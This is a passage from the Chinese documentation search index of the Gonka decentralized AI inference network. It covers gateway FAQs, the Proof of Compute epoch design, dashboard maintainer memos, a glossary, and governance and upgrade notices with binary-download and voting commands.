具体而言： 2026-05-25 我们通过两个经纪人测试了相同的 plugins 负载。gonka-api.org 静默删除该字段（HTTP 200，锚点 #strip-plugins 在 docs/chat-api/troubleshooting.md 中（计划中））；gonkagate.com 以 HTTP 400 \"Plugin config is invalid\" 拒绝。两者均符合网关合同的合理解释：一种偏向宽松解析（静默删除），另一种是严格验证（拒绝未知字段）。在两种情况下 plugins 均未执行：vLLM 没有插件执行路径，若静默传递此字段则暗示了不存在的后端能力。在经纪人之间迁移时，请考虑这种差异（详情见 comparison-brokers.md（计划中））。
对于推理用户： 在您自己的代理层（LangChain、LlamaIndex、您自己的封装）中运行搜索，将结果注入 messages[].content 后再调用 /v1/chat/completions。这是所有 OpenAI 兼容端点的标准模式。
对于经纪人： 这是一个差异化机会——经纪人层的增值服务（“我们执行搜索并将结果注入消息”）是合法的产品。在 Gonka 之上完全实现，无需更改协议。安全提示： 删除 plugins 可能反映的是抗滥用策略（而非 UX 失败）——如果您将插件执行作为产品提供，请仔细思考。若将其作为标准提供，请在 gonka-ai/gonka 开启生态系统讨论。
按设计，这不在 Gonka 路线图上。 正确的位置是侧车或经纪人层的增值服务。
对于推理用户： 构建或购买抓取服务（Tavily、Exa、Perplexity API 用于搜索；trafilatura/Readability 用于解析），标准化为文本，通过 OpenAI 兼容调用发送。已有大量现成解决方案。
对于经纪人： 希望将其作为服务层级提供——请在 gonka-ai/gonka 开启生态系统讨论，以便社区就通用规范达成一致（例如，每个人一致部署的侧车）。
与以下问题相同的阻塞项：\"Kimi 的输入令牌上限为 4k，输出上限为 8,192。这些限制何时会提高？\"。输出上限（有效 3,072 / 网络上限 4,096）对于“工具结果正文 + 一次性摘要”来说过于紧张。思考功能已启用——其中一半被占用（Q1/Q2）。
摘要用例的现成负载：
{\n \"model\": \"moonshotai/Kimi-K2.6\",\n \"messages\": [\n {\"role\": \"system\", \"content\": \"You produce structured summaries of technical documents.\"},\n {\"role\": \"user\", \"content\": \"Summarize the following document:\\n\\n<paste the text here>\"}\n ],\n \"max_tokens\": 4096,\n \"thinking\": {\"type\": \"disabled\"},\n \"thinking_token_budget\": 0,\n \"response_format\": {\n \"type\": \"json_schema\",\n \"json_schema\": {\n \"name\": \"document_summary\",\n \"strict\": true,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": false,\n \"required\": [\"summary\", \"key_points\"],\n \"properties\": {\n \"summary\": {\"type\": \"string\", \"description\": \"3-5 sentences\"},\n \"key_points\": {\"type\": \"array\", \"items\": {\"type\": \"string\"}, \"minItems\": 3, \"maxItems\": 7}\n }\n }\n }\n }\n}\n对于推理用户：
response_format 将输出压缩为所需格式，节省预算。finish_reason=length）——将其拆分为 N+1 次调用：一次获取+规划，其余为分段摘要；在客户端侧拼接。response_format 与 structured_outputs 封装结合使用——HTTP 400（Q6）。对于经纪人： response_format 是最简单且最可移植的缓解方案，无论您的上限提升策略如何。一旦在管理配置中支持按模型 request_max_tokens_cap，可考虑提供按客户上限提升选项。
简短回答：无明确时间表。 在 Gonka 网关端一切已就绪——阻塞项在上游 vLLM 侧，问题 #33264 已开放 4 个月以上，尚未合并 PR。在该问题解决前，您请求中的 prompt_cache_key 字段将被静默忽略——请勿包含它，以免依赖不存在的行为。
vLLM 前缀 KV 缓存工作在每个 ML 节点上。网关级 prompt_cache_key / cache_key 目前被静默删除——这是由未合并的上游 vLLM PR 阻塞的限制。
当前现状
prompt_cache_key（OpenAI 标准）和 cache_key（Moonshot Kimi 约定）均被静默删除——均未到达 vLLM。锚点：docs/chat-api/troubleshooting.md#strip-prompt_cache_key 和 #strip-cache_key（计划中）。cache_salt 字段进行提示缓存隔离（RFC #16016，PR #17045）。将 prompt_cache_key 别名为 cache_salt 是自 2026 年 1 月起开放的 vLLM #33264，至今无合并 PR。cache_key 是不安全的——已有已发布的提示缓存计时侧信道攻击（arxiv 2502.07776 PROMPTPEEK）。网关无法实现虚假的缓存隔离保证。重要架构注意事项
即使 vLLM #33264 合并且网关添加了哈希 → cache_salt 桥接，缓存仍为每个 vLLM 实例。Gonka 的多主机路由意味着具有相同 cache_key 的两个请求可能落在具有不同前缀缓存的不同主机上。在没有粘性路由（目前不存在）的情况下，保证 OpenAI 风格的 ~80% 命中率在架构上很困难。三个阻塞项（上游 vLLM PR、网关桥接、粘性路由）目前均未发布。
对于推理用户： 目前无需操作——prompt_cache_key 和 cache_key 无任何作用。请勿依赖这些字段进行成本优化。
对于经纪人： 在 vLLM #33264 合并前，无需网关端变更。希望加速进展——请在该上游问题中评论或贡献。合并后，Gonka 网关将添加一个桥接，同时启用这两个字段。
"}, {"location": "gonka/docs/zh/FAQ/#kimi-gonka", "title": "Kimi 在 Gonka 网关上何时启用图像输入？", "text": "目前不可用。 预计发布时间为 v0.2.14 或更高版本（当前为 0.2.13），无固定日期。多模态负载（messages[].content 包含 type: \"image_url\" 或 \"video_url\"）目前在两个公共经纪人上均返回 HTTP 400。
正在进行中，计划已撰写并分为多个阶段。 计划文档 multimodal-inference-plan.md 在 gonka-ai/gonka 中（约 466 行，6 个阶段——ML 节点、Host↔ML 节点、经纪人/DAPI、Devshard 协议等）。在发布前，通过下方问题/PR 跟踪更方便。
当前硬性阻塞项
多模态专用特殊标记清理器。 Kimi-K2.6 聊天模板接受 image_url / video_url 内容部分，但网关当前仅验证文本。多模态负载（图像 URL、替代文本、元数据）提供了额外的注入面，必须进行验证。安全审查将其标记为第二阶段阻塞项。目前尚无针对此特定多模态威胁的公开 CVE；内部跟踪正在进行中。
独立的 VLM 验证审查。 图像输入的验证方法需要独立确认。问题 #1026（初步研究：Qwen2-VL-2B F1=100% 中间层）+ #1198（重新验证，开放给贡献者）。
目标： v0.2.14+，但尚未确定具体时间表；被问题 #1198（独立验证，开放给贡献者）阻塞。
目前经实证确认的内容： 包含 {type:\"image_url\"} 的 messages[0].content 数组请求在两条路径（Kimi 和 Qwen3）上均返回 HTTP 400。网关层面不接受多模态输入。
对于推理用户： 目前不可用。
对于代理： 加速的三种方式：
下图及描述概述了推理请求如何在Gonka中传输，Gonka是一个旨在平衡性能与密码学保障的去中心化网络。 Gonka仅记录用于推理验证的交易和工件，实际计算在链下进行。
推理请求在独立的Host（所有网络参与者，而非集中式调度器）之间流转。系统是去中心化的，没有单一节点负责将推理请求定向到网络节点。实际上，每个Host至少部署两个节点：
下图展示了推理请求在Gonka网络中的流程。绿色箭头表示通过公共互联网的通信，黄色箭头表示Host内部私有网络中的通信。
以下序列描述了推理请求如何按上图所示在Gonka网络中流转：
区块链记录既不会延迟推理计算的启动，也不会延迟最终结果交付给客户端。推理是否诚实执行的验证在事后并行进行。如果发现执行者作弊，他们将失去整个纪元的奖励，客户端将收到通知并获得退款。 请注意，该图仅以高级别展示推理流程，并未体现网络的全部复杂性。例如，它未显示Host之间链节点的直接通信，也未包含桥接器或其他在此抽象层级无关的内部组件。
"}, {"location": "gonka/docs/zh/architecture/#poc", "title": "计算证明（PoC）时间线", "text": "计算证明是一种新颖的共识机制，它保留了传统工作量证明（PoW）的所有优势，即将权重、工作量和奖励与计算能力对齐（不同于权益证明PoS将权重与质押代币对齐）。与工作量证明不同，计算证明将证明部分（冲刺）集中在短暂的限定时间窗口内，从而将其余时间留给有用的工作（本例中为LLM推理）。 Gonka以纪元为单位运行，每个纪元持续15391个区块（约23小时）。
每个纪元遵循严格的序列，将冲刺执行、Host活动和奖励结算整合为一个连贯流程。
所有Host的冲刺同时开始，通过不可预测且不可操控的随机种子确保公平性（类似于赛跑的发令枪，任何Host不得提前开始）。所有拥有投票权的Host共同生成该种子，防止少数Host提前计算或获得不公平优势。
冲刺被有意设计得极短，将计算努力集中在紧凑且高效的窗口内。它们在与区块链区块生成对齐的规则时间间隔内发生，仅占整个纪元长度的一小部分。设计上，冲刺时长被最小化，以便纪元的大部分时间可用于有意义的工作，例如LLM推理和训练。这种可预测的节奏使冲刺执行能够自然融入去中心化AI网络的整体运作，而不干扰生产性工作负载。
纪元以自动申领纪元N的奖励结束。新的计算证明阶段（冲刺）随即开始，以确定下一个纪元的Host权重。一旦冲刺完成且权重分配完毕，即标志着新纪元的开始。
在整个纪元期间，Host运行并验证推理。
如果由于某种原因未能申领纪元N的奖励，每个Host的API节点将在纪元N+1中自动提交针对纪元N的奖励申领交易，使用纪元N开始时签署的种子。该申领每30分钟重试一次，直至成功。重要的是，Host必须在此有限窗口内保持在线并通过所有验证检查，否则链无法最终确认申领，奖励将保持未申领状态。早于纪元N+2的未申领奖励（纪元N）将在纪元N+2开始时永久销毁。
作为申领流程的一部分，链会验证Host是否完成了纪元所需的所有工作。协议还允许在此窗口内提交逾期的推理验证工件，为Host提供最后一次执行待处理验证的机会，以便在奖励最终确定前完成。
"}, {"location": "gonka/docs/zh/dashboard-maintainer-memo-v0.2.13/", "title": "仪表盘维护者备忘录 v0.2.13", "text": ""}, {"location": "gonka/docs/zh/dashboard-maintainer-memo-v0.2.13/#v0213", "title": "仪表板维护者备忘录 v0.2.13", "text": "如果 v0.2.13 升级提案获得通过，并且在主网上成功执行了升级，仪表板将需要更新其计算 CPoC 确认权重的方式，并在升级后刷新其缓存。
这适用于 Gonkascan 及其他类似的仪表板部署。
"}, {"location": "gonka/docs/zh/dashboard-maintainer-memo-v0.2.13/#_1", "title": "主要仪表板影响", "text": ""}, {"location": "gonka/docs/zh/dashboard-maintainer-memo-v0.2.13/#1", "title": "1. 新的确认权重计算方式", "text": "仪表板必须在计算 weight_to_confirm 时使用链上提供的 confirmation_weight_scales 快照。
简单来说：仪表板应停止假设始终可以使用当前参数加上子组模型。现在链会快照记录哪些模型计入 CPoC 以及该纪元使用的比例因子。
这是仪表板必须进行的主要逻辑变更。
v0.2.13 升级中的代码参考：
inference-chain/proto/inference/inference/epoch_group_data.proto：EpochGroupData.confirmation_weight_scales 和 ConfirmationWeightScaleinference-chain/x/inference/module/confirmation_weight_scales.go：buildConfirmationWeightScalesinference-chain/x/inference/types/weight.go：用于确认权重计算的辅助函数实施指导：
获取根纪元组数据： text /chain-api/productscience/inference/inference/current_epoch_group_data /chain-api/productscience/inference/inference/epoch_group_data/{epoch_id}2. 如果根目录下的 epoch_group_data.confirmation_weight_scales 存在且非空，则以其内容作为权威数据源。
仅遍历 confirmation_weight_scales 中的条目，不要额外包含未在 confirmation_weight_scales 中出现的根目录 sub_group_models 条目。
对于每个 scale 条目： text model_id weight_scale_factor获取该模型子组： text /chain-api/productscience/inference/inference/epoch_group_data/{epoch_id}?model_id={model_id}5. 在该子组的 validation_weights 中找到参与者。
从该子组的 ML 节点计算原始模型权重： text raw_model_weight = sum(validation_weight.ml_nodes[].poc_weight)不要使用根目录下的 validation_weight.weight 作为此分母。
对每个模型的贡献进行缩放和取底： text scaled_model_weight = floor(raw_model_weight * weight_scale_factor)8. 对所有 confirmation_weight_scales 条目求和： text weight_to_confirm = sum(scaled_model_weight)9. 使用根目录下的 validation_weights[].confirmation_weight 作为已确认的分子。
如果链参与者数据包含 current_epoch_stats.confirmationPoCRatio，则优先将其作为权威的显示比率。
如果没有权威的链上比率，则本地估算值仍为： text min((confirmation_weight / weight_to_confirm) / 0.909, 1.0)遗留回退机制：
如果 confirmation_weight_scales 缺失或为空，则对旧纪元保持原有逻辑：使用根级 sub_group_models，加上当前或历史参数模型的缩放因子。
confirmation_weight_scales。注意：在简单情况下，新方法与旧方法的结果一致是正常现象，特别是当唯一被确认权重缩放的模型，其子组权重等于其 ML 节点 PoC 权重之和时。关键变化在于“事实来源”：confirmation_weight_scales。
v0.2.13 版本升级会就地修改部分现有链上数据。它会回填确认权重缩放因子，可能更新确认权重，更改模型缩放参数，并新增 MiniMax 机制。
简单来说：仪表板可能仍缓存了升级前的旧数据，而链上数据已是修正后的新值。
在 v0.2.13 升级后，必须清除或重置仪表板缓存。仅重新部署可能不够，除非同时清除了仪表板的缓存数据库或存储卷。如果缓存数据库在重新部署后仍保留，则需手动删除/重置，或添加管理员缓存重置接口。
此操作应包括当前纪元的数据行和最近的奖励总额。由于奖励值是从链上摘要中读取的，因此这不是前端公式变更的需求，而主要是避免保留旧的缓存总额。
例如，在 Gonkascan 中，这意味着需要从缓存数据库的 participant_rewards 和 epoch_total_rewards 表中清除最近的记录，以便现有的奖励轮询机制能够重新从链上获取 epoch_performance_summary。
可能的操作步骤：text After chain upgrade: - redeploy dashboard - clear dashboard cache/current epoch cache - recalculate recent reward totals在进行主要工作时的小检查：
weight_to_confirm 逻辑以适配 confirmation_weight_scales。confirmation_weight_scales 中列出的模型。poc_weight 总和作为每个模型的原始分母。current_epoch_stats.confirmationPoCRatio，则继续优先使用该值。本次升级未移除或重塑任何现有查询端点。如果您的仪表板从链上读取值并显示它们，则将继续正常工作。您需要理解一个语义变更（委托），以及三个小注意事项。
"}, {"location": "gonka/docs/zh/dashboard-maintainer-memo-v0.2.14/#_1", "title": "委托：权重与奖励", "text": "之前（v0.2.13）： 当A委托给B时，链在存储权重之前会将A的部分权重物理转移给B。您从链上读取的weight已经包含了委托影响。奖励会自动基于调整后的权重计算。
现在（v0.2.14）： 链存储每个人自己的权重，不受委托影响。委托仅在奖励结算时内部应用，作用于一个从未作为链字段暴露的权重副本。（拒绝/不参与惩罚也变为仅影响奖励，不再减少存储的权重。）
这对您的仪表板意味着什么，取决于其功能：
weight（epoch_group_data → validation_weights[].weight，或 get_participant_current_stats）：继续完全照做。仍然正确。只需知道该数字不再包含委托影响——委托出去的参与者仍显示其完整权重。GET /chain-api/productscience/inference/inference/estimate_bitcoin_reward/{participant}
它复现了链在结算时使用的相同计算逻辑——包含委托转移、惩罚和排除——并返回估算的奖励和工作币。该估算是针对当前期的：其输入在期形成时（PoC验证结束时）快照，并在每期转换时刷新，因此该端点在整个期中均有效。NotFound响应表示参与者不在当前期的活跃集合中。
如果您想显示委托本身：谁委托给谁在.../poc_delegation/{participant}，份额参数在params（delegation_params.delegation_share）。
参与者现在可以注册一个不同的地址来接收其领取的奖励。他们的身份、权重或统计数据均无变化——仅改变币的接收地址。
这不构成兼容性破坏。仅当您的仪表板声称或假设“参与者X的奖励总是发往地址X”时才相关——这不再有保证。来自epoch_performance_summary / settle_amount的每个参与者的奖励金额仍按参与者键值正确保留。如果您想显示覆盖地址，它位于.../list_claim_recipients/{participant}。
在升级高度，链将燃烧累积的费用收集器余额（金额在运行时确定，因此直到发生前未知），并将铸币通胀设为零。如果您绘制或估算总供应量，请预期在升级区块处出现一次性下降，之后通胀线保持平直。常规的/cosmos/bank/v1beta1/supply/by_denom?denom=ngonka查询仍可正常使用。
在dapi公共API上，/v1/chat/completions、/v1/completions和/v1/devshard下的所有内容现在返回HTTP 410 Gone（推断现在由版本化的devshard运行时提供，例如/devshard/v3）。仅当您曾将这些端点用作主机存活检查时才相关。/v1/epochs/...、参与者、模型、定价、状态——全部未受影响。
此处提供的信息仅用于一般性信息和教育目的，不应被视为财务、投资或交易建议。加密货币市场具有高度波动性和投机性。在做出任何投资决策之前，请务必自行研究（DYOR）并咨询合格的财务顾问。作者和出版方不对因依赖此信息而导致的任何损失或损害负责。
社区AI Token 是一种模型特定的计算单位，用于量化训练或推理操作所需的计算成本。例如，在 QwQ-32B 模型（FP16，32K 上下文）的背景下，一个 AI Token 可能代表处理固定数量输入和/或输出标记所需的资源。AI Token 与基础模型的特性紧密相关，反映了实际的内存、FLOP 等资源消耗。
抵押 机制允许参与者锁定 GNK 代币，以激活其已获得的部分计算证明（PoC）权重。投票权绝非仅通过持有代币获得。GNK 代币作为经济抵押品，而非影响力来源。影响力通过持续的计算贡献获得，而锁定 GNK 抵押品则是参与治理并确保问责的必要条件。
确认/随机计算证明（cPoC） 是一种辅助验证机制，用于在主要的计算证明（PoC）冲刺阶段之外验证主机声明的计算权重的稳定性。这些检查旨在确认主机持续提供与其最近 PoC 结果相符的计算能力。cPoC 不替代标准的 PoC 流程（冲刺）。
确认比率 是主机在 PoC 阶段获得的纪元权重与在 cPoC 中获得的权重之间的比率。较高的确认比率表明主机提供的计算能力更稳定。如果确认比率低于或等于 50%，主机将被取消获得纪元奖励的资格。
共识 是网络就区块链的单一可验证状态达成一致的协议，确保所有参与者维护一致且不可篡改的账本。在 Gonka 中，共识通过 PoC 实现。
纪元 是链的核心操作周期。在纪元期间，主机执行有意义的 AI 工作、参与验证并累积奖励。一个纪元持续 15391 个区块（约 23 小时），并在通过确定下一纪元的主机权重完成一次冲刺后结束。
Gonka 区块链 是去中心化 AI 网络的基础账本和协调层（L1）。它记录余额、交易和加密证据，以证明主机正确执行了 AI 工作，而所有实际计算（如推理和训练）均在链下进行。
Gonka 网络 是一个由参与者组成的综合生态系统，包括通过去中心化基础设施交互的主机和开发者。依托 Gonka 区块链，该网络分发任务、验证结果，并仅奖励可验证的有用工作，从而为 AI 工作负载创建一个竞争性且可扩展的环境。
Gonka 角色：
ML 节点 在 Gonka 中是主机私有基础设施内的计算节点，执行所有真实的 AI 工作负载（如 LLM 推理、训练步骤和冲刺计算）。它从不直接与公共网络交互；而是从主机的 API 节点接收任务，并将结果返回给它。ML 节点在链下执行所有繁重计算，而区块链仅记录验证证据、证明和任务承诺。
网络节点 是处理所有通信的服务，包括：
私钥 是加密密钥对的私有部分，对于保障和授权 Gonka 网络中的交易和操作至关重要。私钥必须始终保密。任何拥有私钥的主体均可代表其所有者在协议层面进行操作。保护私钥是密钥持有者的唯一责任。
计算证明（PoC） 是一种共识机制，以可证明的基于 Transformer 的计算能力取代基于资本或哈希的权重。它定义了如何衡量真实的 AI 计算并将其转换为治理和共识权重。PoC 通过每个纪元末期进行的短时同步冲刺执行。在冲刺之外，纪元用于现实世界的 AI 计算。实践中，“计算证明（PoC）”和“冲刺”常互换使用。当提及“下一个 PoC”或“PoC 阶段”时，通常指下一个冲刺，即 PoC 的执行阶段。
公钥 是公开可用的加密密钥，用于验证签名、加密消息和识别 Gonka 网络中的账户。这是加密密钥对的可公开共享部分。
随机任务验证 是平台验证策略的基础。系统并非冗余验证每个推理任务，而是基于主机（执行者）声誉随机选择一部分任务进行验证。主机声誉越高，其工作被验证的比例越低。这种方法将开销大幅降低至仅 1–10% 的任务，同时通过概率性保证和作弊被发现时损失奖励的威胁维持信任。
冲刺 是 PoC 的一个阶段。在冲刺期间，所有主机同时在具有随机化层的 Transformer 模型上对一串随机数运行 AI 相关推理，生成输出向量。只要报告的输出可被证明是由所需冲刺模型生成的，主机在下一纪元的投票权就与其处理的随机数数量成正比。
冲刺种子 由基于最新区块链状态的随机数生成器生成。该种子用于对 Transformer 模型的隐藏层应用随机变换。
验证者 status: jailed 表示由于未满足最低共识参与要求（具体而言，在定义窗口内签署的区块数量少于所需数量），该验证者已被协议自动且临时移除出区块生产。
投票权（权重） 代表主机在网络治理和协议决策中的权重，由冲刺期间处理的随机数数量按比例确定。
"}, {"location": "gonka/docs/zh/help/", "title": "获取支持", "text": ""}, {"location": "gonka/docs/zh/help/#discord", "title": "在 Discord 获取支持", "text": "如果您需要帮助，请加入 Discord 上的 Gonka 社区。
"}, {"location": "gonka/docs/zh/introduction/", "title": "介绍", "text": ""}, {"location": "gonka/docs/zh/introduction/#gonka", "title": "Gonka", "text": "Gonka 是一个去中心化的 AI 基础设施，专为 AI 模型的训练与推理优化算力分配，提供相较于传统中心化云服务更具竞争力的替代方案。中心化系统往往成本高、垄断性强且存在审查风险，而现有很多去中心化网络则常常把算力浪费在与实际生产无关的工作（例如仅用于网络安全的计算）上。
我们引入了一种创新的一致性机制，使几乎 100% 的计算资源都用于有意义的 AI 任务，从而最大化效率并显著降低运营成本。
系统包含以下关键角色：
上述协作使平台能够以显著更低的价格提供 AI 服务，让先进的 AI 技术惠及更广泛的用户群体。
"}, {"location": "gonka/docs/zh/login/", "title": "Login", "text": "邮箱： 密码： 您输入的凭据与我们的记录不匹配。"}, {"location": "gonka/docs/zh/model-licenses/", "title": "模型许可", "text": ""}, {"location": "gonka/docs/zh/model-licenses/#_1", "title": "模型许可", "text": "关于本页面
本页面由社区成员维护和更新。
要发布公告，例如您发起的治理投票，请在 gonka-docs 仓库中打开一个拉取请求：https://github.com/gonka-ai/gonka-docs
本页面的内容不保证完整。如需获取最新信息，包括治理投票的发布及其当前状态，请参考链上数据或查看可用的区块浏览器和仪表板。
"}, {"location": "gonka/docs/zh/network-updates/#2026722", "title": "2026年7月22日", "text": "升级 v0.2.14：提前下载二进制文件
v0.2.14 升级提案的链上治理流程即将结束。
鼓励主机查看 GitHub 上的提案并参与投票。
提前下载二进制文件有助于避免在升级窗口期间依赖 GitHub 的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.14/bin \\\n .inference/cosmovisor/upgrades/v0.2.14/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.14/decentralized-api-amd64.zip\" && \\\necho \"4326a27913a05435e37cd5fa9e3d0cf5271351799f8b01b842e049a733976c87 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.14/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.14/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.14/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.14/inferenced-amd64.zip\" && \\\necho \"ce857ef90deb899c03d78dee01493e544bf8b7ddf8b452e75b3b010b80a8b046 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.14/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.14/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.14/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.14/bin/inferenced && \\\necho \"9f41f08d865041c9d1b43e28334528d8d542751af40841f9ddc34d64787e5286 .dapi/cosmovisor/upgrades/v0.2.14/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"526755f37a0660e9ad9a38f01f99ac87920c7cee12554dc613b274e5e9e3d784 .inference/cosmovisor/upgrades/v0.2.14/bin/inferenced\" | sudo sha256sum --check\nv0.2.14 升级提案进入治理阶段
v0.2.14 提案 已上链并开放投票。
主网链/API 工作重点包括：PoC 重复工件保护、早期共享检测、经典推理 API 废弃（禁用主网上的 /v1/chat/completions 计费并从 API 二进制文件中移除嵌入的 /v1/devshard）、奖励接收者路由以及升级时的安全修复。
devshard 部分准备了 v3 运行时，以便代理在链升级期间无需依赖已废弃的经典 API 路径即可提供推理服务，从而提高 RAM 利用率并支持在 SQLite 和 Postgres 存储之间安全切换。
更多详细信息，请参阅拉取请求：https://github.com/gonka-ai/gonka/pull/1267
升级计划
节点二进制文件通过链上软件升级提案进行升级。现有主机无需在升级过程中手动更新其 api 或 node 容器。
如何投票
如果您没有直接访问拥有投票权的密钥，或希望由其他密钥代为投票，请参阅 指南 了解如何将治理投票权限从冷密钥授予热密钥。
提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用。可用节点包括：
投出您的投票（yes、no、abstain、no_with_veto）：--unordered 和 --timeout-duration 标志需要 inferenced v0.2.12 或更高版本。
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 89 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 89 -o json --node $NODE_URL/chain-rpc/\n升级前的必要操作
如果提案获得批准，建议进行以下准备工作。
现在 / 主网上线升级前 —— 更新您的 API 和网桥。为确保主网升级期间以太坊网桥的稳定性，请提前根据 指南 将 api 二进制文件和网桥镜像更新至 0.2.14-post3。如果您的 api 二进制文件已更新，则只需更新网桥镜像并重启网桥容器。如果您已完成上述两个步骤，则无需重复操作。如果您有多个节点，请逐个更新，并在 PoC 或 cPoC 之外执行此步骤。
仪表板维护者 —— 本次升级未移除或重构任何现有查询端点。如果您的仪表板从链上读取并显示数据，则将继续正常工作。您需要了解一项语义变更（委托），以及三个小注意事项（详见完整指南：https://gonka.ai/docs/dashboard-maintainer-memo-v0.2.14/）
截止时间
注意
.inference/data 目录中创建完整的状态备份；请确保有足够的磁盘空间（主网上 Cosmovisor 对 application.db 的备份通常为数十 GB，建议提前确认）。有关如何安全删除 .inference 目录中旧备份的指导，请参阅 文档。application.db 占用大量磁盘空间，可应用 cosmovisor 备份指南 中描述的清理技术。仅 devshard 升级的 PR 现已开放评审
Devshard 升级独立于主区块链更新 devshard 运行时。它们不需要通过 Cosmovisor 协调全节点升级，不影响主网行为，且预计不会导致推理服务中断。如果通过治理流程批准，新 devshard 版本将与现有的 v3 运行时并行运行。
关键变更
待办事项
请审阅 PR https://github.com/gonka-ai/gonka/pull/1482，并就任何发现、问题、改进建议、边界情况或潜在漏洞留下评论。
有意义的评审贡献，包括重要评论、错误发现和安全问题，可能有资格获得下一升级周期的社区奖励。
本次仅为 PR 评审邀请，不启动正式投票。
"}, {"location": "gonka/docs/zh/network-updates/#2026-7-16", "title": "2026 年 7 月 16 日", "text": "提案 88 已通过：Kimi-K2.6 重新注册，devshard v1/v2 已移除
紧急提案 88 已链上批准。
Kimi-K2.6 引导（周期 331）
moonshotai/Kimi-K2.6 已重新列入治理模型列表，并进入标准引导流程。
./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6\ndevshard v1/v2 已移除
versiond 已停止 v1 和 v2 devshardd 进程。所有网关流量必须使用 /devshard/v3。如果您的网关在此次变更后停止提供推理服务，说明您仍在通过已被移除的路径路由 —— 请遵循 v3 迁移指南。
紧急治理投票（提案 88）：重新注册 Kimi-K2.6 并移除 devshard v1/v2 运行时
这是 7 月 15 日宣布的 Kimi 恢复计划的第二步。提案 87 将 moonshotai/Kimi-K2.6 从活跃集合中移除；提案 88 将其重新注册到治理模型列表中，使其在周期 331 开始时进入标准引导流程。
同一提案还从 devshard_escrow_params 中移除了 approved_versions 的 v1 和 v2。一旦批准，versiond 将停止 v1 和 v2 devshardd 进程，仅保留 v3 运行时（/devshard/v3）运行。此举消除了旧运行时容器长期存在的内存增长问题 —— 即 7 月 15 日事件中网络节点 OOM 的根源。
这使 v3 切换最终确定。 仍通过 v1/v2 前缀或经典 /v1/devshard 路径路由的网关，在提案通过后将停止提供推理服务。
主机所需操作
moonshotai/Kimi-K2.6 的意向，然后在周期 331 的 PoC 开始前约 500 个区块窗口内（区块 5,105,776，2026 年 7 月 17 日，约 12:50 UTC）切换您的 MLNode： ./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6\n/v1/devshard —— 请在投票结束前切换至 /devshard/v3。如何投票
如果您没有直接访问拥有投票权密钥的权限，或希望由其他密钥代为投票，请参阅 指南，了解如何将治理投票权限从冷密钥授予热密钥。
提案详情和投票可通过 inferenced 访问。任何活跃节点均可使用。可用节点包括：
投出您的投票（yes，no，abstain，no_with_veto）：--unordered 和 --timeout-duration 标志需要 v0.2.13 或更高版本的 inferenced。
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 88 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 88 -o json --node $NODE_URL/chain-rpc/\n截止日期
有关引导流程的更多信息：https://gonka.ai/docs/host/kimi-bootstrap/
"}, {"location": "gonka/docs/zh/network-updates/#2026715", "title": "2026年7月15日", "text": "紧急治理投票（提案87）：移除Kimi-K2.6以快速重新引导
moonshotai/Kimi-K2.6在第328–329轮中失去了PoC验证多数票（详见事件详情）。现在从活跃集合中移除Kimi并重新引导，是使其以最小停机时间恢复的最快方式——与6月提案78的恢复路径相同。
该提案在下一轮PoC之前将moonshotai/Kimi-K2.6从PoC参数中移除，随后立即重新添加，Kimi将在第331轮开始进入标准引导流程。
主机需执行的操作
如何投票
如果你无法直接访问拥有投票权的密钥，或希望由另一个密钥代表你投票，请参阅指南，了解如何将治理投票权限从冷密钥授予热密钥。
提案详情和投票可通过inferenced查看。任何活跃节点均可使用，可用节点包括：
投出你的投票（yes、no、abstain、no_with_veto）：--unordered和--timeout-duration标志需要v0.2.13或更高版本的inferenced。
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 87 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 87 -o json --node $NODE_URL/chain-rpc/\n截止日期* 投票时间：2026-07-15 17:01 ~ 2026-07-16 05:01 (PDT) / 2026-07-16 00:01 ~ 2026-07-16 12:01 (UTC)（紧急，0.667 赞成阈值；出票率重要，请尽快投票）。 * 引导意向截止时间和轮次时间详见引导说明。
"}, {"location": "gonka/docs/zh/network-updates/#2026715_1", "title": "2026年7月15日", "text": "Kimi-K2.6事件（第328–329轮）：事件经过、恢复计划及委托指导变更
